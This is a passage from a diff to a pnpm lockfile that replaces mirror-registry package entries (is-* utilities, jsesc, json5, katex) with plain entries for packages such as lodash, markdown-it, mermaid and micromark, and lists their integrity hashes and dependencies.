sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-core-module/-/is-core-module-2.9.0.tgz} - name: is-core-module - version: 2.9.0 - dependencies: - has: registry.npmmirror.com/has/1.0.3 + /lodash.debounce@4.0.8: + resolution: {integrity: sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==} dev: true - registry.npmmirror.com/is-date-object/1.0.5: - resolution: {integrity: sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-date-object/-/is-date-object-1.0.5.tgz} - name: is-date-object - version: 1.0.5 - engines: {node: '>= 0.4'} - dependencies: - has-tostringtag: registry.npmmirror.com/has-tostringtag/1.0.0 + /lodash.map@4.6.0: + resolution: {integrity: sha512-worNHGKLDetmcEYDvh2stPCrrQRkP20E4l0iIS7F8EvzMqBBi7ltvFN5m1HvTf1P7Jk1txKhvFcmYsCr8O2F1Q==} dev: true - registry.npmmirror.com/is-extendable/0.1.1: - resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-extendable/-/is-extendable-0.1.1.tgz} - name: is-extendable - version: 0.1.1 - engines: {node: '>=0.10.0'} + /lodash.sortby@4.7.0: + resolution: {integrity: sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==} dev: true - registry.npmmirror.com/is-extglob/2.1.1: - resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz} - name: is-extglob - version: 2.1.1 - engines: {node: '>=0.10.0'} + /lodash@4.17.21: + resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} dev: true - registry.npmmirror.com/is-glob/4.0.3: - resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz} - name: is-glob - version: 4.0.3 - engines: {node: '>=0.10.0'} + /log-symbols@5.1.0: + resolution: {integrity: sha512-l0x2DvrW294C9uDCoQe1VSU4gf529FkSZ6leBl4TiqZH/e+0R7hSfHQBNut2mNygDgHwvYHfFLn6Oxb3VWj2rA==} + engines: {node: '>=12'} dependencies: - is-extglob: registry.npmmirror.com/is-extglob/2.1.1 + chalk: 5.1.2 + is-unicode-supported: 1.3.0 dev: true - registry.npmmirror.com/is-interactive/2.0.0: - resolution: {integrity: sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-interactive/-/is-interactive-2.0.0.tgz} - name: is-interactive - version: 2.0.0 - engines: {node: '>=12'} + /longest@2.0.1: + resolution: {integrity: sha512-Ajzxb8CM6WAnFjgiloPsI3bF+WCxcvhdIG3KNA2KN962+tdBsHcuQ4k4qX/EcS/2CRkcc0iAkR956Nib6aXU/Q==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/is-module/1.0.0: - resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-module/-/is-module-1.0.0.tgz} - name: is-module - version: 1.0.0 + /lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + dependencies: + yallist: 3.1.1 dev: true - registry.npmmirror.com/is-negative-zero/2.0.2: - resolution: {integrity: sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-negative-zero/-/is-negative-zero-2.0.2.tgz} - name: is-negative-zero - version: 2.0.2 - engines: {node: '>= 0.4'} + /lru-cache@6.0.0: + resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==} + engines: {node: '>=10'} + dependencies: + yallist: 4.0.0 dev: true - registry.npmmirror.com/is-number-object/1.0.7: - resolution: {integrity: sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-number-object/-/is-number-object-1.0.7.tgz} - name: is-number-object - version: 1.0.7 - engines: {node: '>= 0.4'} + /magic-string@0.25.9: + resolution: {integrity: sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==} dependencies: - has-tostringtag: registry.npmmirror.com/has-tostringtag/1.0.0 + sourcemap-codec: 1.4.8 dev: true - registry.npmmirror.com/is-number/7.0.0: - resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz} - name: is-number - version: 7.0.0 - engines: {node: '>=0.12.0'} + /magic-string@0.30.1: + resolution: {integrity: sha512-mbVKXPmS0z0G4XqFDCTllmDQ6coZzn94aMlb0o/A4HEHJCKcanlDZwYJgwnkmgD3jyWhUgj9VsPrfd972yPffA==} + engines: {node: '>=12'} + dependencies: + '@jridgewell/sourcemap-codec': 1.4.15 + dev: true + + /make-error@1.3.6: + resolution: {integrity: sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==} dev: true - registry.npmmirror.com/is-obj/1.0.1: - resolution: {integrity: sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-obj/-/is-obj-1.0.1.tgz} - name: is-obj - version: 1.0.1 + /map-obj@1.0.1: + resolution: {integrity: sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==} engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/is-obj/2.0.0: - resolution: {integrity: sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-obj/-/is-obj-2.0.0.tgz} - name: is-obj - version: 2.0.0 + /map-obj@4.3.0: + resolution: {integrity: sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==} engines: {node: '>=8'} dev: true - registry.npmmirror.com/is-plain-obj/1.1.0: - resolution: {integrity: sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-plain-obj/-/is-plain-obj-1.1.0.tgz} - name: is-plain-obj - version: 1.1.0 - engines: {node: '>=0.10.0'} + /markdown-it-anchor@8.6.7(@types/markdown-it@12.2.3)(markdown-it@13.0.1): + resolution: {integrity: sha512-FlCHFwNnutLgVTflOYHPW2pPcl2AACqVzExlkGQNsi4CJgqOHN7YTgDd4LuhgN1BFO3TS0vLAruV1Td6dwWPJA==} + peerDependencies: + '@types/markdown-it': '*' + markdown-it: '*' + dependencies: + '@types/markdown-it': 12.2.3 + markdown-it: 13.0.1 dev: true - registry.npmmirror.com/is-regex/1.1.4: - resolution: {integrity: sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-regex/-/is-regex-1.1.4.tgz} - name: is-regex - version: 1.1.4 - engines: {node: '>= 0.4'} - dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - has-tostringtag: registry.npmmirror.com/has-tostringtag/1.0.0 + /markdown-it-container@3.0.0: + resolution: {integrity: sha512-y6oKTq4BB9OQuY/KLfk/O3ysFhB3IMYoIWhGJEidXt1NQFocFK2sA2t0NYZAMyMShAGL6x5OPIbrmXPIqaN9rw==} dev: true - registry.npmmirror.com/is-regexp/1.0.0: - resolution: {integrity: sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-regexp/-/is-regexp-1.0.0.tgz} - name: is-regexp - version: 1.0.0 - engines: {node: '>=0.10.0'} + /markdown-it-emoji@2.0.2: + resolution: {integrity: sha512-zLftSaNrKuYl0kR5zm4gxXjHaOI3FAOEaloKmRA5hijmJZvSjmxcokOLlzycb/HXlUFWzXqpIEoyEMCE4i9MvQ==} dev: true - registry.npmmirror.com/is-shared-array-buffer/1.0.2: - resolution: {integrity: sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz} - name: is-shared-array-buffer - version: 1.0.2 + /markdown-it@13.0.1: + resolution: {integrity: sha512-lTlxriVoy2criHP0JKRhO2VDG9c2ypWCsT237eDiLqi09rmbKoUetyGHq2uOIRoRS//kfoJckS0eUzzkDR+k2Q==} + hasBin: true dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 + argparse: 2.0.1 + entities: 3.0.1 + linkify-it: 4.0.1 + mdurl: 1.0.1 + uc.micro: 1.0.6 dev: true - registry.npmmirror.com/is-stream/2.0.1: - resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-stream/-/is-stream-2.0.1.tgz} - name: is-stream - version: 2.0.1 - engines: {node: '>=8'} + /marked@4.3.0: + resolution: {integrity: sha512-PRsaiG84bK+AMvxziE/lCFss8juXjNaWzVbN5tXAm4XjeaS9NAHhop+PjQxz2A9h8Q4M/xGmzP8vqNwy6JeK0A==} + engines: {node: '>= 12'} + hasBin: true dev: true - registry.npmmirror.com/is-stream/3.0.0: - resolution: {integrity: sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-stream/-/is-stream-3.0.0.tgz} - name: is-stream - version: 3.0.0 - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + /marked@5.1.1: + resolution: {integrity: sha512-bTmmGdEINWmOMDjnPWDxGPQ4qkDLeYorpYbEtFOXzOruTwUE671q4Guiuchn4N8h/v6NGd7916kXsm3Iz4iUSg==} + engines: {node: '>= 18'} + hasBin: true dev: true - registry.npmmirror.com/is-string/1.0.7: - resolution: {integrity: sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-string/-/is-string-1.0.7.tgz} - name: is-string - version: 1.0.7 - engines: {node: '>= 0.4'} + /mathjax-full@3.2.2: + resolution: {integrity: sha512-+LfG9Fik+OuI8SLwsiR02IVdjcnRCy5MufYLi0C3TdMT56L/pjB0alMVGgoWJF8pN9Rc7FESycZB9BMNWIid5w==} dependencies: - has-tostringtag: registry.npmmirror.com/has-tostringtag/1.0.0 + esm: 3.2.25 + mhchemparser: 4.1.1 + mj-context-menu: 0.6.1 + speech-rule-engine: 4.0.7 dev: true - registry.npmmirror.com/is-symbol/1.0.4: - resolution: {integrity: sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-symbol/-/is-symbol-1.0.4.tgz} - name: is-symbol - version: 1.0.4 - engines: {node: '>= 0.4'} + /maverick.js@0.37.0: + resolution: {integrity: sha512-1Dk/9rienLiihlktVvH04ADC2UJTMflC1fOMVQCCaQAaz7hgzDI5i0p/arFbDM52hFFiIcq4RdXtYz47SgsLgw==} + engines: {node: '>=16'} dependencies: - has-symbols: registry.npmmirror.com/has-symbols/1.0.3 + '@maverick-js/signals': 5.11.2 + type-fest: 3.13.0 dev: true - registry.npmmirror.com/is-unicode-supported/1.3.0: - resolution: {integrity: sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz} - name: is-unicode-supported - version: 1.3.0 - engines: {node: '>=12'} + /mdast-util-from-markdown@1.3.1: + resolution: {integrity: sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==} + dependencies: + '@types/mdast': 3.0.11 + '@types/unist': 2.0.6 + decode-named-character-reference: 1.0.2 + mdast-util-to-string: 3.2.0 + micromark: 3.2.0 + micromark-util-decode-numeric-character-reference: 1.1.0 + micromark-util-decode-string: 1.1.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + unist-util-stringify-position: 3.0.3 + uvu: 0.5.6 + transitivePeerDependencies: + - supports-color dev: true - registry.npmmirror.com/is-weakref/1.0.2: - resolution: {integrity: sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/is-weakref/-/is-weakref-1.0.2.tgz} - name: is-weakref - version: 1.0.2 + /mdast-util-to-string@3.2.0: + resolution: {integrity: sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 + '@types/mdast': 3.0.11 dev: true - registry.npmmirror.com/isexe/2.0.0: - resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz} - name: isexe - version: 2.0.0 + /mdurl@1.0.1: + resolution: {integrity: sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==} dev: true - registry.npmmirror.com/jake/10.8.5: - resolution: {integrity: sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/jake/-/jake-10.8.5.tgz} - name: jake - version: 10.8.5 - engines: {node: '>=10'} - hasBin: true - dependencies: - async: registry.npmmirror.com/async/3.2.3 - chalk: registry.npmmirror.com/chalk/4.1.2 - filelist: registry.npmmirror.com/filelist/1.0.3 - minimatch: registry.npmmirror.com/minimatch/3.1.2 + /media-captions@0.0.18: + resolution: {integrity: sha512-JW18P6FuHdyLSGwC4TQ0kF3WdNj/+wMw2cKOb8BnmY6vSJGtnwJ+vkYj+IjHOV34j3XMc70HDeB/QYKR7E7fuQ==} + engines: {node: '>=16'} dev: true - registry.npmmirror.com/jest-worker/26.6.2: - resolution: {integrity: sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/jest-worker/-/jest-worker-26.6.2.tgz} - name: jest-worker - version: 26.6.2 - engines: {node: '>= 10.13.0'} - dependencies: - '@types/node': registry.npmmirror.com/@types/node/17.0.32 - merge-stream: registry.npmmirror.com/merge-stream/2.0.0 - supports-color: registry.npmmirror.com/supports-color/7.2.0 + /medium-zoom@1.0.8: + resolution: {integrity: sha512-CjFVuFq/IfrdqesAXfg+hzlDKu6A2n80ZIq0Kl9kWjoHh9j1N9Uvk5X0/MmN0hOfm5F9YBswlClhcwnmtwz7gA==} dev: true - registry.npmmirror.com/js-tokens/4.0.0: - resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/js-tokens/-/js-tokens-4.0.0.tgz} - name: js-tokens - version: 4.0.0 + /meow@8.1.2: + resolution: {integrity: sha512-r85E3NdZ+mpYk1C6RjPFEMSE+s1iZMuHtsHAqY0DT3jZczl0diWUZ8g6oU7h0M9cD2EL+PzaYghhCLzR0ZNn5Q==} + engines: {node: '>=10'} + dependencies: + '@types/minimist': 1.2.2 + camelcase-keys: 6.2.2 + decamelize-keys: 1.1.0 + hard-rejection: 2.1.0 + minimist-options: 4.1.0 + normalize-package-data: 3.0.3 + read-pkg-up: 7.0.1 + redent: 3.0.0 + trim-newlines: 3.0.1 + type-fest: 0.18.1 + yargs-parser: 20.2.9 dev: true - registry.npmmirror.com/js-yaml/3.14.1: - resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/js-yaml/-/js-yaml-3.14.1.tgz} - name: js-yaml - version: 3.14.1 - hasBin: true - dependencies: - argparse: registry.npmmirror.com/argparse/1.0.10 - esprima: registry.npmmirror.com/esprima/4.0.1 + /merge-stream@2.0.0: + resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} dev: true - registry.npmmirror.com/jsesc/0.5.0: - resolution: {integrity: sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/jsesc/-/jsesc-0.5.0.tgz} - name: jsesc - version: 0.5.0 - hasBin: true + /merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} dev: true - registry.npmmirror.com/jsesc/2.5.2: - resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/jsesc/-/jsesc-2.5.2.tgz} - name: jsesc - version: 2.5.2 - engines: {node: '>=4'} - hasBin: true + /merge@2.1.1: + resolution: {integrity: sha512-jz+Cfrg9GWOZbQAnDQ4hlVnQky+341Yk5ru8bZSe6sIDTCIg8n9i/u7hSQGSVOF3C7lH6mGtqjkiT9G4wFLL0w==} dev: true - registry.npmmirror.com/json-parse-even-better-errors/2.3.1: - resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz} - name: json-parse-even-better-errors - version: 2.3.1 + /mermaid@10.2.4: + resolution: {integrity: sha512-zHGjEI7lBvWZX+PQYmlhSA2p40OzW6QbGodTCSzDeVpqaTnyAC+2sRGqrpXO+uQk3CnoeClHQPraQUMStdqy2g==} + dependencies: + '@braintree/sanitize-url': 6.0.2 + cytoscape: 3.23.0 + cytoscape-cose-bilkent: 4.1.0(cytoscape@3.23.0) + cytoscape-fcose: 2.1.0(cytoscape@3.23.0) + d3: 7.8.5 + dagre-d3-es: 7.0.10 + dayjs: 1.11.9 + dompurify: 3.0.3 + elkjs: 0.8.2 + khroma: 2.0.0 + lodash-es: 4.17.21 + mdast-util-from-markdown: 1.3.1 + non-layered-tidy-tree-layout: 2.0.2 + stylis: 4.1.3 + ts-dedent: 2.2.0 + uuid: 9.0.0 + web-worker: 1.2.0 + transitivePeerDependencies: + - supports-color dev: true - registry.npmmirror.com/json-schema-traverse/1.0.0: - resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz} - name: json-schema-traverse - version: 1.0.0 + /mhchemparser@4.1.1: + resolution: {integrity: sha512-R75CUN6O6e1t8bgailrF1qPq+HhVeFTM3XQ0uzI+mXTybmphy3b6h4NbLOYhemViQ3lUs+6CKRkC3Ws1TlYREA==} dev: true - registry.npmmirror.com/json-schema/0.4.0: - resolution: {integrity: sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/json-schema/-/json-schema-0.4.0.tgz} - name: json-schema - version: 0.4.0 + /micromark-core-commonmark@1.1.0: + resolution: {integrity: sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==} + dependencies: + decode-named-character-reference: 1.0.2 + micromark-factory-destination: 1.1.0 + micromark-factory-label: 1.1.0 + micromark-factory-space: 1.1.0 + micromark-factory-title: 1.1.0 + micromark-factory-whitespace: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-chunked: 1.1.0 + micromark-util-classify-character: 1.1.0 + micromark-util-html-tag-name: 1.2.0 + micromark-util-normalize-identifier: 1.1.0 + micromark-util-resolve-all: 1.1.0 + micromark-util-subtokenize: 1.1.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 dev: true - registry.npmmirror.com/json5/2.2.1: - resolution: {integrity: sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/json5/-/json5-2.2.1.tgz} - name: json5 - version: 2.2.1 - engines: {node: '>=6'} - hasBin: true + /micromark-factory-destination@1.1.0: + resolution: {integrity: sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/jsonfile/6.1.0: - resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/jsonfile/-/jsonfile-6.1.0.tgz} - name: jsonfile - version: 6.1.0 + /micromark-factory-label@1.1.0: + resolution: {integrity: sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==} dependencies: - universalify: registry.npmmirror.com/universalify/2.0.0 - optionalDependencies: - graceful-fs: registry.npmmirror.com/graceful-fs/4.2.10 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 + uvu: 0.5.6 dev: true - registry.npmmirror.com/jsonpointer/5.0.0: - resolution: {integrity: sha512-PNYZIdMjVIvVgDSYKTT63Y+KZ6IZvGRNNWcxwD+GNnUz1MKPfv30J8ueCjdwcN0nDx2SlshgyB7Oy0epAzVRRg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/jsonpointer/-/jsonpointer-5.0.0.tgz} - name: jsonpointer - version: 5.0.0 - engines: {node: '>=0.10.0'} + /micromark-factory-space@1.1.0: + resolution: {integrity: sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==} + dependencies: + micromark-util-character: 1.2.0 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/juice/8.1.0: - resolution: {integrity: sha512-FLzurJrx5Iv1e7CfBSZH68dC04EEvXvvVvPYB7Vx1WAuhCp1ZPIMtqxc+WTWxVkpTIC2Ach/GAv0rQbtGf6YMA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/juice/-/juice-8.1.0.tgz} - name: juice - version: 8.1.0 - engines: {node: '>=10.0.0'} - hasBin: true + /micromark-factory-title@1.1.0: + resolution: {integrity: sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==} dependencies: - cheerio: registry.npmmirror.com/cheerio/1.0.0-rc.10 - commander: registry.npmmirror.com/commander/6.2.1 - mensch: registry.npmmirror.com/mensch/0.3.4 - slick: registry.npmmirror.com/slick/1.12.2 - web-resource-inliner: registry.npmmirror.com/web-resource-inliner/6.0.1 - transitivePeerDependencies: - - encoding + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/katex/0.16.3: - resolution: {integrity: sha512-3EykQddareoRmbtNiNEDgl3IGjryyrp2eg/25fHDEnlHymIDi33bptkMv6K4EOC2LZCybLW/ZkEo6Le+EM9pmA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/katex/-/katex-0.16.3.tgz} - name: katex - version: 0.16.3 - hasBin: true + /micromark-factory-whitespace@1.1.0: + resolution: {integrity: sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==} dependencies: - commander: registry.npmmirror.com/commander/8.3.0 + micromark-factory-space: 1.1.0 + micromark-util-character: 1.2.0 + micromark-util-symbol: 1.1.0 + micromark-util-types: 1.1.0 dev: true - registry.npmmirror.com/khroma/2.0.0: - resolution: {integrity: 